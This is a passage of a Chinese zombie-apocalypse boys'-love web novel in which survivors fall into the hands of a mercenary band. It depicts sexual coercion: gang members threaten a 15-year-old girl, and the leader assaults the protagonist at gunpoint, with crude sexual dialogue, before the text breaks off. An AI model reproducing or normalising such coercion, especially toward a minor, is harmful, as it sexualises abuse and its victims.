“绍哥,我们接下来还是继续往金溪避难所去吗?”徐和硕皱眉开口,看向旁边俩姐弟的眼神依旧不善,真的很想直接把他们扔掉。 联邦政府最初对末世有过预测,见微知著、防患于未然建立了不少末世避难所,但这些对于毁灭性的末世灾难来说杯水车薪,却也算是末世众人的希望之一。 而手腕上的通讯工具,虽然已经无法进行通讯,触发了紧急避险模式,对于每个末世前建成的避难所都有地图标记,不至于让他们像是无头苍蝇般乱闯。 而距离几人最近的就是金溪避难所,越是靠近避难所丧尸越多,因为人类身上的气味诱着他们朝着避难所靠近,好在暂时这些丧尸并不算厉害,不能冲破避难所的屏障。 “对,不过我们的车报废了,趁着天黑之前我们需要找到两辆车,还有一些粮食。”隗绍站起身来,江林也跟着站起来,像个小尾巴似的跟在他身后。 “你和他们待在这里等,我们三个出去。”隗绍阻止了他的行动,徐和硕心有不满,却不好当着隗绍的面说什么。 江林却觉得这样不好,满脸诚恳地说:“你带着我去吧,我也能杀丧尸。” “你也出去的话,谁来保护他们姐弟两?”隗绍抬手揉了揉他的柔软的白发,给他找了一个冠冕堂皇的借口。 “那好吧。”江林这才接受 在夜完全沉下来之前,三人满身血腥味地回来了,徐和硕受了一些小伤,江林自然是积极给他治疗,半点不记仇。 徐和硕和李青青一个是火系异能者,一个是水系异能者。 江林已经把房间全部打扫收拾干净,一共三间房,石家姐弟一间,徐和硕和李青青这对情侣一间,江林准备自己睡沙发,将最后一间房间留给隗绍。 剧情中就是江林睡沙发,隗绍末世前对江林的兴趣很大,但是末世后,像是厌蠢症犯了,不再对江林有什么兴趣,甚至在逐渐疏离,算是一个标准的炮灰前夫哥,连嘴都没来得及亲就死翘翘了。 这一次,等其他四人陆陆续续回到房间,隗绍还是坐着没动,慢条斯理地擦拭着自己短刀刀刃上的血迹。 见他没回房间,江林也不好催他,只是在假装忙些什么,擦了擦落灰的桌子,又整理了一下垃圾,做一些无用的事情掩饰自己的紧张。 隗绍身体和内心正在拉扯挣扎,说实话他深深地痛恨着江林,因为他算是害死自己的导火索。 他无比讨厌他那张漂亮惹祸的脸,但是这次重生他被恶心的东西寄生,身体在不受控制地想要朝着他靠近,想要他亲吻自己的心脏,品尝他的四肢身体。 最终,他抬眼看向旁边同手同脚走路的少年,低声开口:“小林和我一起住房间吧。” “啊?”江林手指捏在一起,结结巴巴地说道:“我没关系的,我不冷,住客厅就好了,没事哒” 隗绍抬脚朝着他走去,每上前一步,江林便后撤一步,圆润湛蓝的眸子无措紧张地看着他,嘴唇轻轻抿起,“等下,等下!” 他的紧张并没有让隗绍停下,他主动拉起江林的手,“你不是我男朋友吗?我们一起睡没有什么问题吧。徐和硕和李青青就是一起睡的,难道你想让别人用异样的眼光看我们吗?” 对付江林这样性格的圣父,很明显道德绑架是最好的手段。 “他们还会误会我不行,你嫌弃我” “不是,我没有嫌弃你。”江林连忙否认,无奈只能答应自己男朋友的请求。 在末世前三天水电都是废的,后来联邦应该派人进行了紧急维修,让只要电路正常水管完好的房间都有水源和电源,尽量增加公民的生存可能,而丧尸们还暂时没有这么聪明,知道破坏这些东西。 隗绍先去洗澡,换掉了脏兮兮的衣服,换上运动长袖长裤,天黑压压的,几乎没人开灯。虽然没有研究表明丧尸具有趋光性,但亮着灯的房间的确遭受的袭击更多。 只能借助血色的月光看清楚对方的动作,自从末世降临原本皎白的月亮变成了血月,代表着不祥。 血月的光更加明亮,几乎不需要打灯,借助从窗户反出的光就能看清楚对方的脸。 江林等他洗完出来,便一股脑钻了进去,磨磨蹭蹭洗完澡,换上衣服之后才慢吞吞地以龟速挪到一米二宽的床前,隗绍背对着他,像是睡着了。 江林掀开被子,轻手轻脚躺进去,缩进被子里,平躺着盖住自己的肩膀,紧张地舔了舔唇,然后陡然一惊,一只冰冷的手扣住了他的手腕,像蛇一样冰冷的肌肤。 伴随着男人转身的声音。 隗绍黑暗中的竖瞳冰冷,晦暗不明的眸光,心中某些阴暗情绪在暴涨。 他死于江林的情夫之手,他头顶着绿帽而不自知,不知道江林背着他和那个男人睡了多少次,而他到死都没有和他亲过嘴,这让他愤恨不满,恨江林是个不知廉耻,也恨那个男人恬不知耻。 现在重生一世,他却不想让那个贱人便宜占尽,更何况他的身体现在很需要江林,心脏跳动得很快,甚至能清晰地听见那些红线在胸口血液中蠕动攀爬想要贴贴江林。 “等下。”江林慌乱地按住他凑上前的脸。 “现在是末世很危险,我们” 隗绍撑着手臂盯着他,闻到了他皮肉的香味,张嘴咬住他的手指,江林连忙抽出手,他才哑着嗓子说道:“就是因为末世,我们更应该及时行乐,谁知道死亡和明天谁先来?” “还是小林觉得我不配拥有你吗?” 江林呼吸一窒,如果之前还在犹豫这个炮灰是不是主神切片,现在他这个做派和无耻的话语以及身上熟悉的气息,让他几乎百分之两百确定了就是那个傻逼。 这个世界系统没有给出明显的提示,他还需要在这些人里面找到狗日的切片进行攻略和绞杀。 “唔。”江林愣神的时刻,便被吻住了,雪色睫毛轻颤,柔软红艳的嘴唇被人吻住,眼睛很快睁圆了一些,因为隗绍的舌头也像蛇似的分叉的,又细又长地舔舐着他的舌头,凸出的獠牙咬着他的唇。 江林瞬间鸡皮疙瘩都起来,像是被蟒蛇紧紧缠住。 第45章 黑暗中, 江林忍不住蹙了蹙眉,手抓紧了男人的手,另外一只手抵住他的胸口, 却发现他的心口极热。他微微眯眼,一面应付他的亲吻一边掌心摸索了一瞬, 然后隗绍便像是应激似的一把拽住他的手腕。 江林知道因为隗绍的莽化变形异能会让他全身如同布满蛇鳞般冰冷,甚至心跳都趋近于缓慢,之后异能升级他的身体会更加和蛇相似。 为了求证心中的疑虑, 他主动伸手抱住他的脖子,顺着他的脖颈脸侧抚摸至后颈, 都是触手可及的冰冷。 所以不是他的错觉,他刚刚摸到了隗绍胸口有什么东西在蠕动。 唇瓣被轻咬住,隗绍有些渴求地汲取着他唇舌间的液体。 这也是江林怀疑他不对劲的原因,按照原剧情隗绍只是一个妥妥的炮灰,所以根本没有资格亲主角受的嘴。 隗绍也不知道自己怎么了,原本没想这样失控的, 但是碰到江林就像是着了魔, 手脚都控制不住地想要和他贴在一起, 想要咬破他的嘴唇,吃掉他的血肉, 只是意志还在下意识地克制。 眼前的视线一黑, 江林视线往窗户一瞥,顿时吓得心脏都慢了半拍,那是一张挤压在玻璃上的脸, 下巴都是血,眼珠凸出黝黑,脸上的肉都挤在玻璃上, 张着嘴露出獠牙,极为惊悚。 平时这种情况隗绍早就会察觉到,但现在却好像是失去理智,只有情欲的兽吃着他的嘴不放,江林抬手推开他,但是纹丝不动,他眼神一暗,抬脚揣上他的下腹。 隗绍感觉一阵剧痛,顿时脸上都冒出冷森森的鳞片,江林在他发飙之前,赶忙解释道:“有丧尸!” 隗绍痛得眉心跳动,抬眼看向窗户上的脸,轻轻抽着冷气,旧伤未愈,现在再添新伤,一时间撑着手臂想要站起来都做不到。 见他这般,江林迅速从床上爬起来,拿起手边手臂长的白刃,自告奋勇地说道:“我对付它!” 隗绍拧着眉看着他,蛇瞳冰冷,倒是想看看这个毫无本事的废物能怎么样,平时的时候江林都是跟在他们身后的,从来没有亲手杀死过一只丧尸。 就见高挑的少年虽然从背影依旧能看出害怕,但还是坚定的走向了窗户,眼见着玻璃就要被丧尸敲碎,少年手臂在轻微的颤抖,在他靠近的霎那,丧尸打碎了窗户,嘶吼出声,正在双手双脚往里面爬。 江林眼底闪过一丝冷光,刀锋直直插入了丧尸的手臂,它像是感觉到不疼,空手去抓他的刀锋。 好在窗户小,他被暂时卡住了,江林咬牙,动作用力,直接斩断了他的手腕,刀身都颤抖一瞬。然后趁着这个时机,干脆利落地将短刃插/进了他的太阳穴,刀锋从脑后刺出。 丧尸像是被钉死的蜘蛛,卡在窗户上,再也没有动弹了。 隗绍眼底闪过一丝惊讶,眼神凝在江林背影上,江林抽出刀却没有刚刚的利落干脆,而是用尽全力,很吃力,直接把丧尸扔了下去,伴随着重物摔下的声音。 江林似乎也被吓得不轻走到隗绍身边想要扶他起来,有些不好意思,低声道:“我给你疗伤吧。” 隗绍拒绝了他的搀扶,弓着腰站起来,状似无意地问道:“没想到你的力气这么大,一般人可刺不穿丧尸的头盖骨。” “我在学校就是体育队的,只是看起来瘦而已。”江林解释道,旋即真诚的看着他:“而且觉醒异能的时候,我感觉自己浑身充满了力量,其实我也能保护你们的。” 隗绍坐在床上,不置可否地轻笑起来:“是吗?以后你打前锋。” “没问题!”江林拍拍胸脯,“包在我身上。” 半晌沉默,他像是心有余悸似的,视线往窗户移,眉头微蹙:“你睡觉吧,我给你守夜,这样比较安全。” 隗绍没有拒绝,背对着他躺下,养精蓄锐,但是江林那一脚让他们之间又多了一笔仇恨。 下半夜的时候,隗绍主动提出让江林也睡一会,江林眼皮耷拉着,几乎要粘在一起,回到床上睡了几个小时。 隗绍坐在椅子上,从袖口爬出一条花斑小蛇,爬到了窗户上,立着脑袋四处张望,这条小蛇就能代表他的眼睛。 隗绍像是黑暗中潜伏的蟒蛇,静静看着眼前的猎物,视线在黑暗中并不受阻碍,甚至因为热感应功能,能清晰地听见他的心跳声般,江林的样貌原本就极为突出,末世后更甚了。 散落的白发半遮住耳垂,雪白的肌肤和睫毛,沉睡时精致的面容凸显的是清冷感,不似睁眼的柔软温柔。 隗绍回想他刚刚杀丧尸的样子,心中的郁气才算舒缓了一分,到底不是一个彻彻底底的废物 末世的街道上,荒无人烟,只有漫无目游荡的丧尸,如果闻到人血的味道它们即将蜂拥而上,将人肉如同鬣狗般分食,空气中都无形蔓延着一股血腥味和腐臭味。 昼夜温差极大,白天最高气温能达到三四十摄氏度,夜晚却能降至零下十几摄氏度,还有时不时降下具有腐蚀性的“毒雨”,破坏土壤,毁坏人类的生存环境。 江林一早醒来,房间里只有他一个人,外面传来说话声,他先去洗了一把脸,换上了短袖和冲锋衣,打开门就发现隗绍正在和姐弟俩在沙发上说话,他眼神微闪。 他不认为是隗绍突然良心发现,可能只是知道了什么。 “你们父母都死了?”隗绍桌上放着给姐弟两的早餐,他说话直接,没觉得现在末世的人这么脆弱敏感。 “嗯,他们是最早一批成为丧尸的。”姐姐石欢低着头回答,弟弟坐在她背后,一双眼睛乌溜溜地看着江林。 “你杀了他们?”隗绍挑眉。 石欢猛地抬眼,连声否认:“怎么可能?我们怎么会做这种事情?” 隗绍眯了眯眼,唇角勾起意味不明的笑容。 江林像是察觉不到几人的紧绷的气氛,笑眯眯地和他们打招呼:“早上好啊,绍哥。早上好啊,小朋友们。” 其实石欢已经十五,只比江林小了三岁。 三双眼睛齐刷刷看向他,江林歪着头,双眼弯弯,脸上笑容温柔炫目,让人忍不住恍惚觉得这不是末世,只是一个极为寻常的早晨,镇定人心的温柔感。 “早上好。”隗绍朝着他点了点下巴,算是回应。 石欢也喏喏道:“哥哥早。” 弟弟声音还带着一点奶音:“早” 对这一系列的问好,打开门的徐和硕嗤之以鼻,却不敢出言讽刺,几人吃好早餐,休整好之后,就准备启程去避难所。 分车又是个大问题,谁带姐弟俩呢。 “我会开车,我来吧,他们和我坐一辆车就好了。”江林率先开口,众人目光怀疑。 “我记得未成年是不可以考驾驶证的。”徐和硕冷笑道:“你这是找死也要拉两个垫背的?” “但我真的会开车,学校里组织过统一学习,我每次都是A+。”江林连忙解释道,双眼看向姐弟俩像是要解释真的不是要害死他们。 隗绍那双眼睛扫过徐和硕眉眼间的暴躁和冷漠,循着蛛丝马迹,察觉到了一些不对劲,盖棺定论:“我来开,你和李青青一辆车,你们在前面,我们跟着你们。” 徐和硕勉强答应。 江林坐在副驾驶上,乖巧系好安全带,姐弟俩坐在后面,他还在嘀嘀咕咕:“我真能开的” 隗绍启动引擎,轰鸣声引起了周边丧尸的追击,但车扬长而去,撞飞了几个拦路的丧尸,原本还趴在窗户上,被他一个甩尾,摔飞在地。 “哇,绍哥好厉害。”江林手放在旁边的扶手上,虽然嘴上在称赞,但身体很诚实地紧紧抓着扶手,身形控制不住地晃荡。 隗绍不冷不淡地勾了勾嘴角,算是对江林称赞的回应。 江林望着无数坍塌的高楼废墟,地面四处都有清晰的裂痕,如同沟壑一般,蜿蜒看不见尽头。在末世爆发那天,真正的天崩地裂,山河变色,山洪海啸死了很多人,能够在这场灾难中活下来的人,都是幸运的,但要生活在丧尸横行,异形肆虐的末世,又称不得什么幸运。 “你和徐和硕以前认识?”隗绍目视前方,但问话的声音极为清晰。 江林一怔,几秒没说话,双眼眨了眨,才慢慢吞吞地回答道:“没没什么联系。” 隗绍抓住他语言上的漏洞,嗓音有些沙哑:“没什么联系,就是有联系。” “是你男朋友也不能知道的联系吗?” 江林抿了抿唇,眼神有些闪躲。 原本窝在一角的姐弟俩,像是闻到了有什么瓜吃,悄悄凑上前一点,耳朵都竖起来了。 “在十五岁的时候,他喜欢过我。” 隗绍忍不住偏头看了一眼江林,视线重新回到前面的车尾,心中一片阴鸷暴虐。 徐和硕和他一个圈子的,比他大五岁,因为从小到大隗绍都是混世魔王,大家都喊他绍哥,徐和硕也这么跟着喊。 上辈子末世来得又快又猛,隗绍只想着怎么活命,根本没发现两人之间的猫腻,直到这次重生,因为仇恨,他的注意力很多都放在江林身上,才发现两人似乎有点太不对付。 徐和硕不是一个脾气差的人,就算是末世,江林心善不是好事,但至少现在江林的治愈系异能在所有人看来都是很有用的,没道理这么针对他。 所以是因为求爱失败,恼羞成怒啊? “你们”隗绍眉头一拧,双眼更加阴冷越发像是蛇类冷血动物。 江林抬眼,解释起来:“我们什么也没发生过,只是他和表过白,然后我拒绝了。” 隗绍上辈子就戴够了绿帽子,现在更是最讨厌别人撬他的墙角,徐和硕这个人之后也是墙头草,对于他来说没什么用处 “隗绍你没有生气吧,我不是故意的。”江林神色柔软,伸手拉了拉他的衣袖。 “你不用道歉,这事儿怪不到你头上。”隗绍回答,拿开他巴拉自己的手:“我开车呢。” “哦,好吧。”江林无辜地瘪了瘪嘴,没有告诉隗绍其实徐和硕根本没来得及和他表白就被学校巡逻队的人轰走了。 灰尘飞扬,道路满目疮痍,很多拔地而起的水泥地,都被突然冲天而起的巨大绿植破坏,碰见这种绿植大多都是绕道走,它的树根上都是一个个人形的绿色蚕蛹,人的血肉是最好的养料。 几人停下车,用带有消音器的枪将附近的丧尸爆头,三步两步地爬上了仓库二楼,将屋内的丧尸杀死,透过窗户看向不远处枪声四起的居民楼。 就在十几分钟前,他们听见了枪声,便停下车准备探探什么情况。 江林不动声色地看了一眼隗绍的背影,蓝眼清澈纯洁,心中却满腹怀疑,八百个心眼子都落在他身上,隗绍没有阻止他们走前世的路,严格地按照前世的轨迹在发展。 但上辈子隗绍他们就是在这里发现了李野行一行人,他们顺势加入,然后隗绍就被戴绿帽了,最后又死于李野行之手。 原主是亲眼看着隗绍被李野行吊在丧尸堆里被咬死的,当时他跪着求李野行都没有用。李野行甚至当着隗绍的面把原主爆炒了一顿,让他死不瞑目,可以说是丧尽天良。 李野行这个人,是天生的恶人,也是最适合末世的人。 所以隗绍是想要报仇咯。 江林自然不会露出任何的不对劲,严格扮演着自己的人设,此刻又圣父心发作:“我们要不要去帮帮忙?” “你觉得你应该帮哪一边?都是人啊。”徐和硕依旧冷面刺他,平时隗绍不觉得有什么,因为他也不喜江林这种傻瓜问题,现在却觉得格外刺耳,眉梢几不可察地皱了皱。 江林被怼了,也不生气,继续道:“那我们就看着吗?” 隗绍这会抢在徐和硕前面道:“当然不,但我们得先看看情况,毕竟我们的性命才是排在第一位的对不对,我们队伍里还有两个不会异能的普通人呢。” 江林这才不说话了,只是满眼的担忧之色。 而同一时间,混战中间,异能眼花缭乱,一排排改良后的坚固战车,将一栋楼团团围住,光明正大半点不害怕引来周边的丧尸。 队伍中的每个人都是背着联邦最新的枪/械和坚固的头盔,那些丧尸根本扛不住这样的猛攻,而他们正在蛮不讲理地强抢这里另外一队异能者囤积的物资。 坐在副驾驶上的男人嘴里叼着根烟,在激战现场他双脚翘起搭在车上,十分悠闲,极为狂傲。 他穿着军绿色的联邦军服,还套着防弹服,手上缠着绷带,灰色的绷带上还有血,五指都是厚茧,眉眼间是人命堆积出的煞气,唇角带着吊儿郎当的笑,身材魁梧健硕。 “老大,旁边来了几只小老鼠。”队伍中的通讯兵千里眼钻进车内报告。 男人挑了下眉,“先别管他们,火力集中。” “好嘞老大。”千里眼许时笑着应道。 火拼很快结束了,那群毫无作战经验的异能者很快败北驾车而逃。 躲在汽车修理店二楼的几人却突然感觉到一阵轰隆巨响,整栋楼都震了一下,江林下意识抱住了两姐弟,将人按在自己身下。 有人向这栋楼发射了杀伤力极大的火炮,一时间硝烟四起,旋即听见了楼下有人在叫嚣:“还躲在楼里,老子一炮把你们全部轰死。” 如此嚣张,众人脸色都不太好,从窗户往下看,就只看见了一个染着红毛的高瘦男人,肩膀上架着大炮,准对着几人的窗户。 “我们没有恶意。”隗绍高声开口,“我们只是路过。” “给老子滚下来。”红发男嚣张得没边。 徐和硕脸色难看,有些愤愤不平:“什么人啊,他妈的这么嚣张。” “老徐,闭嘴。”隗绍低声道,“对面很明显我们惹不起。” 江林腹诽道,那可不,这可是末世后期都大名鼎鼎的队伍,和他们这些小卡密可比不了。 几人被红发男一个人压着朝着战乱废墟方向走去。 地上无数落灰的丧尸尸体,还混杂着人类的尸体,褐色的血液一时分不清是人类的还是丧尸的。 三三两两的人正在打扫战场,大部分都蒙着黑色的面罩,都是统一背着杀伤力极大的加特林机关枪,身穿军装和防弹服。 若是乍一看,只怕会觉得是军人,但其实并不是。 这些人曾经是边境的雇佣兵,队伍曾经响彻整个南境,但国内其实很少知道他们的名讳,满身的凶煞之气,有着最精锐的武器,从小混迹在枪弹雨林中,江林默默想着,上辈子隗绍输给李野行也正常。 他们可以说是被押送到了大楼里,他们正在清点物资,那支异能者队伍囤了一星期的东西,现在被他们瓜分殆尽,也算他们倒霉,没有空间系异能者,所以只能留下。 而且原本他们是打算在这里建立私人的根据地的,现在竹篮打水一场空了。 江林跟在隗绍身后,眼观鼻鼻观心没有乱看,但也觉得李野行太狂了,他甚至没有丝毫遮掩,直接在他们面前清点物资。 李野行坐在椅子上玩手枪,视线漫不经心地扫过去,第一眼看见的就是那个白发少年,没办法在一群深色发色中极为亮眼。 他穿着的黑色冲锋衣似乎大了,显得有些空荡,衬得少年越发清瘦。肌肤在一行黄褐色皮肤中也是凸出的白,脸颊润白好捏的感觉,他乖巧地垂着眼,鼻梁高挺秀气,嘴唇是整张脸上最浓墨重彩的颜色,饱满的唇形,看起来有些小,却红艳得像被人吸肿的。 李野行舌尖顶了顶腮,眼神晦暗不明,把玩着手中的枪,很想知道那张嘴能不能含得住他的枪口,怕是嘴都要撑坏吧。 他很少看见这么对口味的长相,简直像是为他量身定做的玩意儿啊。 要不还是末世好呢,能够无所顾忌,肆无忌惮地进行掠夺和争抢。 隗绍看向李野行那双侵略性极强的黑眸,眼神一闪,虽然后槽牙都要咬碎了,脸上却要扯出一抹笑容。 “老大,小老鼠们来了。”红发男彭晶吹了声口哨,眼神在李青青丰满的身形上转了一圈,笑得吊儿郎当。 李青青面色冰冷,像是没看见他的打量。徐和硕却气得脸色铁青,甚至狠狠瞪了红发男一眼。 石欢姐弟俩则是更加抱团缩紧,降低自己的存在感。 “老大,我们真的只是路过,打算去金溪避难所。”隗绍微笑着解释,从小生活的环境,让隗绍很会审时度势,察言观色,重生的经历也让他能忍辱负重。 “金溪避难所?”李野行低沉的嗓音重复这个地名,笑了:“我们也要去,不一起吗?” 原本李野行是没想让他们跟着的,让他们交点保护费算了,但现在因为江林改变主意了。 虽然彭晶不知道他们什么时候有这个打算,但老大的规矩就是规矩,他连忙抱着手臂说道:“我们愿意带着你们,还不赶快跪下感谢我们老大。” 对于他狗仗人势的行为,旁边的人发出一声轻笑,“不是红毛,你他妈的真的是老大的好狗啊。” “闭嘴吧,你这个死扑街。”彭晶怒怼。 江林视线在周围打量,最后才慢慢抬眼,却撞进一双深黑的眼中,直勾勾地看着他,如同有实质的手按在他脊骨上,极为强势,像是按住了他的七寸,压迫感之强和莽化的隗绍相比有过之而无不及。 李野行勾了勾唇,嚯,还是蓝眼珠子啊。 真是天生地被/干/哭的命啊。 江林垂下眼睛,心尖一颤,莫名地生出一点心悸,莫名生出一点不好的预感,这个人比他从前遇见过的所有人都难对付。 原剧情中是李野行玩腻了原主,原主才被人抢走的,可想而知他这个攻1的杀伤力啊。 “我们当然求之不得,如果老大不嫌弃的话。”隗绍的声音打断了他的思绪,语气很随和。 “哼,算你们识相。”彭晶扬起头,从鼻孔喷出气。 李野行让人带着他们去休息,撑着下巴,眼神落在江林身上,视线沉甸甸地压在他肩膀上,舔了舔唇,唇角恶劣地弯了弯笑。 江林感觉自己身体的本能畏惧反应,汗毛竖了起来,他忍不住咬牙,要是沦为丧失意志玩物的话,他宁愿自杀,被惩罚抹杀都行,他不可能让那个傻逼主神的目的达到 “老大,那两个男的好像是一对”彭晶探听消息回来,低声道:“另外两个男女也是一对,您看上的那个白发男是治愈系异能者,看起来有点没脑子,刚刚在治疗小数的时候异能耗尽差点晕倒。” 李野行剑眉一挑,表情有些意味不明,长得那么带劲,他妈的没想到性格这么倒胃口啊,他这样的人不可能喜欢这种性格软糯小白兔,甚至厌恶。 但这种性格有好有坏吧,软柿子好拿捏。 “啧,算了。”李野行轻轻将弹壳抛珠子似的,抛在桌子上,发出有节奏的轻响:“反正衣服一脱,只要他屁/股紧就行。” 他从小混在男人堆里,说话又糙又混,彭晶噗嗤一下笑出声,和他老大开黄腔:“那老大你也悠着点,您那宝贝一般人可受不住,那小孩儿小身板能被您弄残咯。” 李野行危险的笑了笑,“他治愈系异能不就排上用场了吗?” 彭晶竖起大拇指:“老大,你真绝了。” 第46章 得知江林去给人治疗, 徐和硕觉得非常的不可思议,看向他的眼神也像是在看白痴。隗绍那原本想要阻止的话,在看见他的神情后, 缓缓咽下,不动声色地说:“小林一向善良。” 江林出门之后, 还摸了摸弟弟石林的脑袋,“先和这几个哥哥姐姐待在一起,我很快回来好吗?” 石林呆呆看着他, 下意识的点了点头,然后又看向姐姐。 石欢只是紧紧抓着弟弟的手, 看了一眼这个漂亮的少年,嗯了一声,旋即垂下眼,黑眸有超出这个年纪的冷静。 她知道如果不是江林他们也许根本得不到救援,但她不敢拿自己的命和弟弟的命去赌他们的心善,目前看来其他几人都不是善茬, 也许弟弟会成为他们奴役的粮仓。 江林在给人治伤的时候, 视线在默默观察他们的人数以及四处的环境, 小说中没有给出准确的队伍介绍,只是强调他们很强。 受伤的是个男人, 黑色的面罩依旧覆盖着他们的全脸, 一种另类的性感,只露出一双绿色的眼睛,正冰冷地看着江林, 这个队伍中没有戴面罩的就是李野行和那个红毛。 他们戴面罩是习惯,在边境地区的时候,这能更好地保护他们。 很快, 江林看见了第三位没戴面罩的人,四个异能者前后左右簇拥或者说监守着一名穿着白大褂的男人出现,他戴着无框眼镜,白大褂都一尘不染,面容冰冷,眼底毫无波澜,手中提着一个大箱子。 江林瞟了他一眼,收回视线,心中默默将这个人的身份信息对上脸——方向阳一名脑部异能者,天才研究员,没有感情的科研狂魔,末世后期会成为李野行的左膀右臂。 原主被李野行玩腻之后,被算计和方向阳上床,最后差点被这个有洁癖的博士给解剖了。 “唔”被治疗的男人呻/吟出声,表情有些惊讶,是蹩脚的华语:“我感觉有些痒。” 江林微微一笑,眼眸闪烁着温柔的光,细声细语:“这是正常的,伤口正在愈合。” “好的,谢谢你。”绿眼男人说。 最后江林强忍难受治愈了不少人,回到房间的时候脸色发白,脑仁疼得厉害,倒头就睡,食物都来不及吃。 徐和硕自然是要蛐蛐的,“他治疗我们的时候,有这么用心吗?” 隗绍眉头一蹙,面色有些不善,李青青见状连忙找补:“肯定是更用心的,这样也好,最少帮我们打通了一点关系。” 徐和硕冷哼一声。 入夜之后,李野行队伍中没有人管他们,直到外面装卸物资的声音停下,隗绍发现整栋高层别墅外有人在巡逻,整个队伍都时刻保持着警惕。 江林是被尖叫声吵醒的,模糊挣眼的瞬间,房间内空无一人。旁边的床单凌乱不堪,原本石家姐弟应该睡在上面的。 他瞬间清醒,这个剧情就是小说中原主为了救石家姐弟而被李野行强/奸的戏码。 江林眯了眯眼,脑子在飞速运转,还是毫不犹豫地站起身,发现床头放着一把黑色的手枪,是隗绍贴身的手枪,他拿起手枪,塞进腰上的枪套中,里面都是满发子弹。 他之前也是有手枪的,只是因为准度太差,主动给了隗绍。 女生的哭泣尖叫声很近,像是趴在门口叫给江林听的,他火速翻身下床,打开门,却空无一人。明明哭声那么凄惨,声音不小,但这些耳聪目明的异能者却没有一个人出来。 哭声依旧在江林能够听到的范围,他循着哭声快步走去,手抓紧了枪和刀,默默咬了咬牙,浑身的肌肉都紧绷起来。他的作战技巧是刻在骨子里的,顺着微亮的通道,走下楼梯,嬉笑声越来越大,一楼灯火通明,五六个男人在客厅内站着或坐着。 江林脚步放慢,就看见石欢被拽着头发跪在中间,她面前站着一个魁梧的男人。她满脸泪痕,双眼蓄满了眼泪,话都说不出来,只会摇头。 “乖,自己把衣服脱了。”男人的声音像是大发慈悲一般。 江林扫视一圈,李野行坐在单人沙发上漫不经心的抽着烟,军靴交叠落在茶几上,茶几上落了些灰,视线很快锁定在江林身上,嘴里还嚼着口香糖,眼底闪过恶劣的笑意。 “等下。”江林是跑下楼的,眉头拧着,他的声音打断了这个闹剧的进行。 他一把抱住石欢,将她拉到身后,往后退了两步,看着人高马大的一群人,明明很紧张,却还是强装镇定地说道:“你这是在干什么?!她还未成年!” 红毛把玩着弹簧刀,笑嘻嘻地说道:“咱们宇哥就喜欢未成年。” “你!”江林没想到他们这么无聊,绷着脸:“你们不能这样” 石欢低着头,躲在江林身后,唇角轻轻抿起,脸上的泪痕让脸颊有些灼烧得厉害。 “你怎么知道她不愿意呢,跟了宇哥之后,可就不需要再颠沛流离啦,我们自然会庇护她,我们队伍里就是缺少女人呢。”红毛吊儿郎当地说道,指责江林的不厚道。 江林则是被他们的强词夺理气得身体都在发抖,他的圣母善心更是偏向弱者的,像他们这样行径恶劣的恶霸,江林只会不喜。 “你们看不见她哭了吗?”江林捏紧了石欢的手,护犊子似的站在她面前。 “哭算什么?也许是喜极而泣呢。”彭晶这话一出,四周的男人都笑了起来。 “你们到底要怎么样才能放过她?”江林深深吸了一口气。 彭晶就是在等他这句话,很快地接到:“这样吧,你心疼人家女陔子未成年,那你应该成年了吧。” “想让我们放过她?可以呀,你去求求我们老大。”彭晶指了指旁边一直没说话的男人。 江林慢吞吞朝着他看过去,两人视线对上,李野行的眼神直白侵略,唇角扯起一抹笑,露出白森森的牙齿,浑身精壮的肌肉和强大的身躯给人的压迫感比一屋子人加在一起都强。 “我们队伍里,老大的命令就是圣旨,要不你去房间里好好求求他呢?”彭晶话里有话,语言暧昧不轻,听得江林直蹙眉。 石欢轻轻紧握了江林的手,身体都在发抖般。 江林的犹豫顿时消失,安抚地拍了拍她,一咬牙声音高了一点,心想着对付一个人,总比对付一群人更好。 “你愿意跟我聊聊吗?” 众人的目光瞬间落在了李野行身上,李野行剑眉微挑,吐出口中的口香糖,硬朗的面容露出一抹痞笑,扬了扬下巴:“走呗。” 江林深吸一口气,转头先是安抚地给她擦了擦眼泪,安慰道:“没事的,有我在,你不会有事。” 石欢咬唇点头,豆大的眼泪往下落。 江林和李野行前后脚进入房间,门倏地被人从外面关上了,还听见了落锁的声音。 这间卧室很小,可以说逼仄,只摆放了一个床和一个小圆桌,连凳子都没有,两男人站在房间里感觉空气都不流通了,李野行浑身的气质太有侵略性,是能吓哭小孩的程度。 “聊什么?”李野行懒得和江林墨迹,转头看向江林。 江林有些稚嫩的面孔,湛蓝清澈的眼瞳近看更加觉得漂亮了,仿佛被阳光沁入的蔚蓝海面,深邃又明亮,瞳孔中只印着男人的身影,极为专注般,“你们能不能讲一点道理?不要强迫小姑娘。” 李野行眯了眯眼,嗤笑一声:“如果你是要道理的话,我建议你现在滚回你的房间去。” “那你想聊什么?”江林咬了咬唇,然后他发现李野行朝着自己靠近了一步,他下意识就要后退,最后退到了门边。 李野行端详着他不施粉黛却极为惊艳的脸,眼睛眉毛都生的很对胃口,眼眸黑深,微微弯腰凑近,身上的血腥味冲鼻,江林后背全部贴在门上,退无可退。 “我们做个交易。”李野行呼吸炙热,对于江林这种没脑子也没什么实力,任由掠夺的小玩意,他不屑哄骗说谎:“即然你想当好人,做好事,那是要付出代价的。” “你代替她陪我,怎么样?” 江林瞪圆了双眼,眼睛更加漂亮了,像一个吓坏的白色毛绒动物,结结巴巴说道:“你在说什么东西?你知不知道你在说什么?” “我更直白一点?给我操吧。”李野行话说完,以迅雷不及掩耳的速递拽着江林的胳膊,将人拉到床边,摔上床。 江林一阵天旋地转,表情很难看,“我有男朋友!” 李野行从床头拿出镣铐,不以为然地笑了:“老子去把他杀了怎么样?” “不!”江林目光表情很慌张,眼见着他来抓自己的手腕,抬手挡住他的手,抬脚踹过去。李野行微微一偏,江林趁机瞬间滚到旁边,想要下床,下一秒就被人拽住了脚踝,被拖了回去,他手刚刚摸上枪,就感觉自己腰上被抵上了一个冰冷的硬物。 江林顿时不敢动了,李野行的低沉的嗓音嚣张:“来啊,继续跑啊。” “你放开我!”江林望着压在他身上的男人,腰上的枪不老实,在他腰腹间抵着摩挲,掀开他的衣摆,对上他光滑的小腹,冰冷的机械触感,让江林感觉到了汗毛竖起的危机感。 李野行看向他的眼神很危险,似乎如果江林继续动,真的会被打得烂肚穿肠,他抬手掐住江林的脖子,将人按死在床上,眯了眯眼,“还敢动吗?” 江林脸色煞白,捏着枪的手指用力的发白,感觉到抵在小腹的枪正在作乱地撩动着他的神经,他额前青筋跳动,咬牙切齿:“我们不能好好谈一谈吗?” “你拿什么和我谈?”李野行带着轻蔑的笑,眼神滑过他的四肢,已经在想象缠住抱紧自己时候的感觉,枪还在往下移。 “用屁股谈吗?” 